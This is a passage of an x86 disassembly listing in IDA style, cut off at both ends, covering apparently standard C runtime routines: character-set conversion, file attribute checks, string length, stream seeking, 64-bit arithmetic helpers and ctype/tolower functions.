loc_41FF1F: ; CODE XREF: sub_41FEE0+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41FF60
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_41FF48
push 13h
call sub_421B20
add esp, 4
jmp short loc_41FF53
; ---------------------------------------------------------------------------
loc_41FF48: ; CODE XREF: sub_41FEE0+5Aj
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
loc_41FF53: ; CODE XREF: sub_41FEE0+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41FEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF60 proc near ; CODE XREF: sub_41FEE0+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_41FF83
cmp [ebp+arg_8], 0
jnz short loc_41FF83
xor eax, eax
jmp loc_420144
; ---------------------------------------------------------------------------
loc_41FF83: ; CODE XREF: sub_41FF60+14j
; sub_41FF60+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_41FFA7
push offset dword_439D14
push 0
push 55h
push offset dword_439D08
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41FFA7
int 3 ; Trap to Debugger
loc_41FFA7: ; CODE XREF: sub_41FF60+27j
; sub_41FF60+44j
xor eax, eax
test eax, eax
jnz short loc_41FF83
cmp [ebp+arg_0], 0
jz loc_4200F6
cmp ds:dword_4EEA70, 0
jnz short loc_420009
loc_41FFC0: ; CODE XREF: sub_41FF60+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_420001
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41FFED
mov eax, [ebp+var_4]
jmp loc_420144
; ---------------------------------------------------------------------------
loc_41FFED: ; CODE XREF: sub_41FF60+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_41FFC0
; ---------------------------------------------------------------------------
loc_420001: ; CODE XREF: sub_41FF60+66j
mov eax, [ebp+var_4]
jmp loc_420144
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF60+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, ds:dword_4EEA80
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_420039
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_420144
; ---------------------------------------------------------------------------
loc_420039: ; CODE XREF: sub_41FF60+CCj
call ds:dword_4F1310 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_420057
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_420144
; ---------------------------------------------------------------------------
loc_420057: ; CODE XREF: sub_41FF60+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_42006E
; ---------------------------------------------------------------------------
loc_420065: ; CODE XREF: sub_41FF60:loc_4200AFj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42006E: ; CODE XREF: sub_41FF60+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_4200B1
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_4200B1
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_4200AF
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4200AF: ; CODE XREF: sub_41FF60+144j
jmp short loc_420065
; ---------------------------------------------------------------------------
loc_4200B1: ; CODE XREF: sub_41FF60+11Cj
; sub_41FF60+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, ds:dword_4EEA80
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4200F1
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_420144
; ---------------------------------------------------------------------------
loc_4200F1: ; CODE XREF: sub_41FF60+17Fj
mov eax, [ebp+var_4]
jmp short loc_420144
; ---------------------------------------------------------------------------
loc_4200F6: ; CODE XREF: sub_41FF60+51j
cmp ds:dword_4EEA70, 0
jnz short loc_42010D
mov ecx, [ebp+arg_4]
push ecx
call sub_41AC70
add esp, 4
jmp short loc_420144
; ---------------------------------------------------------------------------
loc_42010D: ; CODE XREF: sub_41FF60+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, ds:dword_4EEA80
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42013E
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_420144
; ---------------------------------------------------------------------------
loc_42013E: ; CODE XREF: sub_41FF60+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_420144: ; CODE XREF: sub_41FF60+1Ej
; sub_41FF60+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41FF60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420150 proc near ; CODE XREF: seg000:0040E075p
; sub_416995+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F1334 ; GetFileAttributesA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_42017B
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4201AC
; ---------------------------------------------------------------------------
loc_42017B: ; CODE XREF: sub_420150+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_4201AA
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_4201AA
call sub_4267E0
mov dword ptr [eax], 0Dh
call sub_4267F0
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_4201AC
; ---------------------------------------------------------------------------
loc_4201AA: ; CODE XREF: sub_420150+33j
; sub_420150+3Dj
xor eax, eax
loc_4201AC: ; CODE XREF: sub_420150+29j
; sub_420150+58j
mov esp, ebp
pop ebp
retn
sub_420150 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201B0 proc near ; CODE XREF: sub_40F19D+2B6p
; sub_40F19D+316p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4201BA: ; CODE XREF: sub_4201B0+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_4201D1
jmp short loc_4201BA
; ---------------------------------------------------------------------------
loc_4201D1: ; CODE XREF: sub_4201B0+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_4201B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201E0 proc near ; CODE XREF: seg000:00412D71p
; seg000:00412E80p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_4201E7: ; CODE XREF: sub_4201E0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_42020B
push offset dword_4394EC
push 0
push 65h
push offset dword_439D20
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42020B
int 3 ; Trap to Debugger
loc_42020B: ; CODE XREF: sub_4201E0+Bj
; sub_4201E0+28j
xor eax, eax
test eax, eax
jnz short loc_4201E7
mov ecx, [ebp+arg_0]
push ecx
call sub_41F070
add esp, 4
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_420250
add esp, 0Ch
mov [ebp+var_4], eax
mov edx, [ebp+arg_0]
push edx
call sub_41F0E0
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4201E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420250 proc near ; CODE XREF: sub_4201E0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_420257: ; CODE XREF: sub_420250+32j
cmp [ebp+arg_0], 0
jnz short loc_42027E
push offset dword_4394FC
push 0
push 92h
push offset dword_439D20
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42027E
int 3 ; Trap to Debugger
loc_42027E: ; CODE XREF: sub_420250+Bj
; sub_420250+2Bj
xor eax, eax
test eax, eax
jnz short loc_420257
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_4202AB
cmp [ebp+arg_8], 0
jz short loc_4202BE
cmp [ebp+arg_8], 1
jz short loc_4202BE
cmp [ebp+arg_8], 2
jz short loc_4202BE
loc_4202AB: ; CODE XREF: sub_420250+47j
call sub_4267E0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_420370
; ---------------------------------------------------------------------------
loc_4202BE: ; CODE XREF: sub_420250+4Dj
; sub_420250+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_4202EE
mov ecx, [ebp+var_4]
push ecx
call sub_42B8A0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_4202EE: ; CODE XREF: sub_420250+81j
mov eax, [ebp+var_4]
push eax
call sub_421720
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_42031B
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_42034F
; ---------------------------------------------------------------------------
loc_42031B: ; CODE XREF: sub_420250+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_42034F
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_42034F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_42034F
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_42034F: ; CODE XREF: sub_420250+C9j
; sub_420250+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_42B6E0
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_420370: ; CODE XREF: sub_420250+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420380 proc near ; CODE XREF: sub_414853+11Bp
; seg000:0041D65Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_420399
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_420399: ; CODE XREF: sub_420380+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_420380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4203C0 proc near ; CODE XREF: sub_4169AF+3Fp
; seg000:0041A352p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4203E2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_420423
; ---------------------------------------------------------------------------
loc_4203E2: ; CODE XREF: sub_4203C0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4203F0: ; CODE XREF: sub_4203C0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4203F0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_42041E
cmp edx, [esp+8+arg_4]
ja short loc_42041E
jb short loc_42041F
cmp eax, [esp+8+arg_0]
jbe short loc_42041F
loc_42041E: ; CODE XREF: sub_4203C0+4Ej
; sub_4203C0+54j
dec esi
loc_42041F: ; CODE XREF: sub_4203C0+56j
; sub_4203C0+5Cj
xor edx, edx
mov eax, esi
loc_420423: ; CODE XREF: sub_4203C0+20j
pop esi
pop ebx
retn 10h
sub_4203C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420430 proc near ; CODE XREF: sub_4169AF+2Dp
; seg000:0041A36Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_420451
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_4204A1
; ---------------------------------------------------------------------------
loc_420451: ; CODE XREF: sub_420430+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_42045F: ; CODE XREF: sub_420430+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_42045F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_42048A
cmp edx, [esp+4+arg_4]
ja short loc_42048A
jb short loc_420492
cmp eax, [esp+4+arg_0]
jbe short loc_420492
loc_42048A: ; CODE XREF: sub_420430+4Aj
; sub_420430+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_420492: ; CODE XREF: sub_420430+52j
; sub_420430+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_4204A1: ; CODE XREF: sub_420430+1Fj
pop ebx
retn 10h
sub_420430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4204B0 proc near ; CODE XREF: sub_416ABF+5Ep
; sub_416ABF+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_4204D1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_4204D1: ; CODE XREF: sub_4204B0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_4204ED
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_4204ED: ; CODE XREF: sub_4204B0+27j
or eax, eax
jnz short loc_420509
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_42054A
; ---------------------------------------------------------------------------
loc_420509: ; CODE XREF: sub_4204B0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_420517: ; CODE XREF: sub_4204B0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_420517
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_420545
cmp edx, [esp+0Ch+arg_4]
ja short loc_420545
jb short loc_420546
cmp eax, [esp+0Ch+arg_0]
jbe short loc_420546
loc_420545: ; CODE XREF: sub_4204B0+85j
; sub_4204B0+8Bj
dec esi
loc_420546: ; CODE XREF: sub_4204B0+8Dj
; sub_4204B0+93j
xor edx, edx
mov eax, esi
loc_42054A: ; CODE XREF: sub_4204B0+57j
dec edi
jnz short loc_420554
neg edx
neg eax
sbb edx, 0
loc_420554: ; CODE XREF: sub_4204B0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_4204B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420583
push 103h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_42059A
; ---------------------------------------------------------------------------
loc_420583: ; CODE XREF: seg000:0042056Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42059A: ; CODE XREF: seg000:00420581j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_4205D0
push 1
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_4205E5
; ---------------------------------------------------------------------------
loc_4205D0: ; CODE XREF: seg000:004205BBj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_4205E5: ; CODE XREF: seg000:004205CEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420610
push 2
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_420625
; ---------------------------------------------------------------------------
loc_420610: ; CODE XREF: seg000:004205FBj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_420625: ; CODE XREF: seg000:0042060Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420630 proc near ; CODE XREF: sub_417120+1A8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420650
push 4
mov eax, [ebp+arg_0]
push eax
call sub_423D90
add esp, 8
mov [ebp+var_4], eax
jmp short loc_420665
; ---------------------------------------------------------------------------
loc_420650: ; CODE XREF: sub_420630+Bj
mov ecx, [ebp+arg_0]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_420665: ; CODE XREF: sub_420630+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_420630 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420693
push 80h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_4206AA
; ---------------------------------------------------------------------------
loc_420693: ; CODE XREF: seg000:0042067Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_4206AA: ; CODE XREF: seg000:00420691j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206C0 proc near ; CODE XREF: sub_426BE0+105p
; sub_4280A0+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_4206E0
push 8
mov eax, [ebp+arg_0]
push eax
call sub_423D90
add esp, 8
mov [ebp+var_4], eax
jmp short loc_4206F5
; ---------------------------------------------------------------------------
loc_4206E0: ; CODE XREF: sub_4206C0+Bj
mov ecx, [ebp+arg_0]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_4206F5: ; CODE XREF: sub_4206C0+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4206C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420720
push 10h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_420735
; ---------------------------------------------------------------------------
loc_420720: ; CODE XREF: seg000:0042070Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_420735: ; CODE XREF: seg000:0042071Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420763
push 107h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_42077A
; ---------------------------------------------------------------------------
loc_420763: ; CODE XREF: seg000:0042074Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_42077A: ; CODE XREF: seg000:00420761j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_4207B3
push 157h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_4207CA
; ---------------------------------------------------------------------------
loc_4207B3: ; CODE XREF: seg000:0042079Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_4207CA: ; CODE XREF: seg000:004207B1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420803
push 117h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_42081A
; ---------------------------------------------------------------------------
loc_420803: ; CODE XREF: seg000:004207EBj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_42081A: ; CODE XREF: seg000:00420801j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_44FD20, 1
jle short loc_420850
push 20h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_420865
; ---------------------------------------------------------------------------
loc_420850: ; CODE XREF: seg000:0042083Bj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_420865: ; CODE XREF: seg000:0042084Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_44FD20, 1
jle short loc_4208B5
push 103h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_4208CC
; ---------------------------------------------------------------------------
loc_4208B5: ; CODE XREF: seg000:0042089Dj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_4208CC: ; CODE XREF: seg000:004208B3j
cmp dword ptr [ebp-4], 0
jnz short loc_4208E1
cmp dword ptr [ebp+8], 5Fh
jz short loc_4208E1
mov dword ptr [ebp-8], 0
jmp short loc_4208E8
; ---------------------------------------------------------------------------
loc_4208E1: ; CODE XREF: seg000:004208D0j
; seg000:004208D6j
mov dword ptr [ebp-8], 1
loc_4208E8: ; CODE XREF: seg000:004208DFj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_44FD20, 1
jle short loc_420915
push 107h
mov eax, [ebp+8]
push eax
call sub_423D90
add esp, 8
mov [ebp-4], eax
jmp short loc_42092C
; ---------------------------------------------------------------------------
loc_420915: ; CODE XREF: seg000:004208FDj
mov ecx, [ebp+8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_42092C: ; CODE XREF: seg000:00420913j
cmp dword ptr [ebp-4], 0
jnz short loc_420941
cmp dword ptr [ebp+8], 5Fh
jz short loc_420941
mov dword ptr [ebp-8], 0
jmp short loc_420948
; ---------------------------------------------------------------------------
loc_420941: ; CODE XREF: seg000:00420930j
; seg000:00420936j
mov dword ptr [ebp-8], 1
loc_420948: ; CODE XREF: seg000:0042093Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420960 proc near ; CODE XREF: sub_417851+6p
; sub_41786F+4Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEA70, 0
jnz short loc_420987
cmp [ebp+arg_0], 41h
jl short loc_420982
cmp [ebp+arg_0], 5Ah
jg short loc_420982
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_420982: ; CODE XREF: sub_420960+11j
; sub_420960+17j
mov eax, [ebp+arg_0]
jmp short loc_4209EF
; ---------------------------------------------------------------------------
loc_420987: ; CODE XREF: sub_420960+Bj
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_4209B9
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_4209C0
; ---------------------------------------------------------------------------
loc_4209B9: ; CODE XREF: sub_420960+39j
mov [ebp+var_4], 0
loc_4209C0: ; CODE XREF: sub_420960+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_420A00
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_4209E1
push 13h
call sub_421B20
add esp, 4
jmp short loc_4209EC
; ---------------------------------------------------------------------------
loc_4209E1: ; CODE XREF: sub_420960+73j
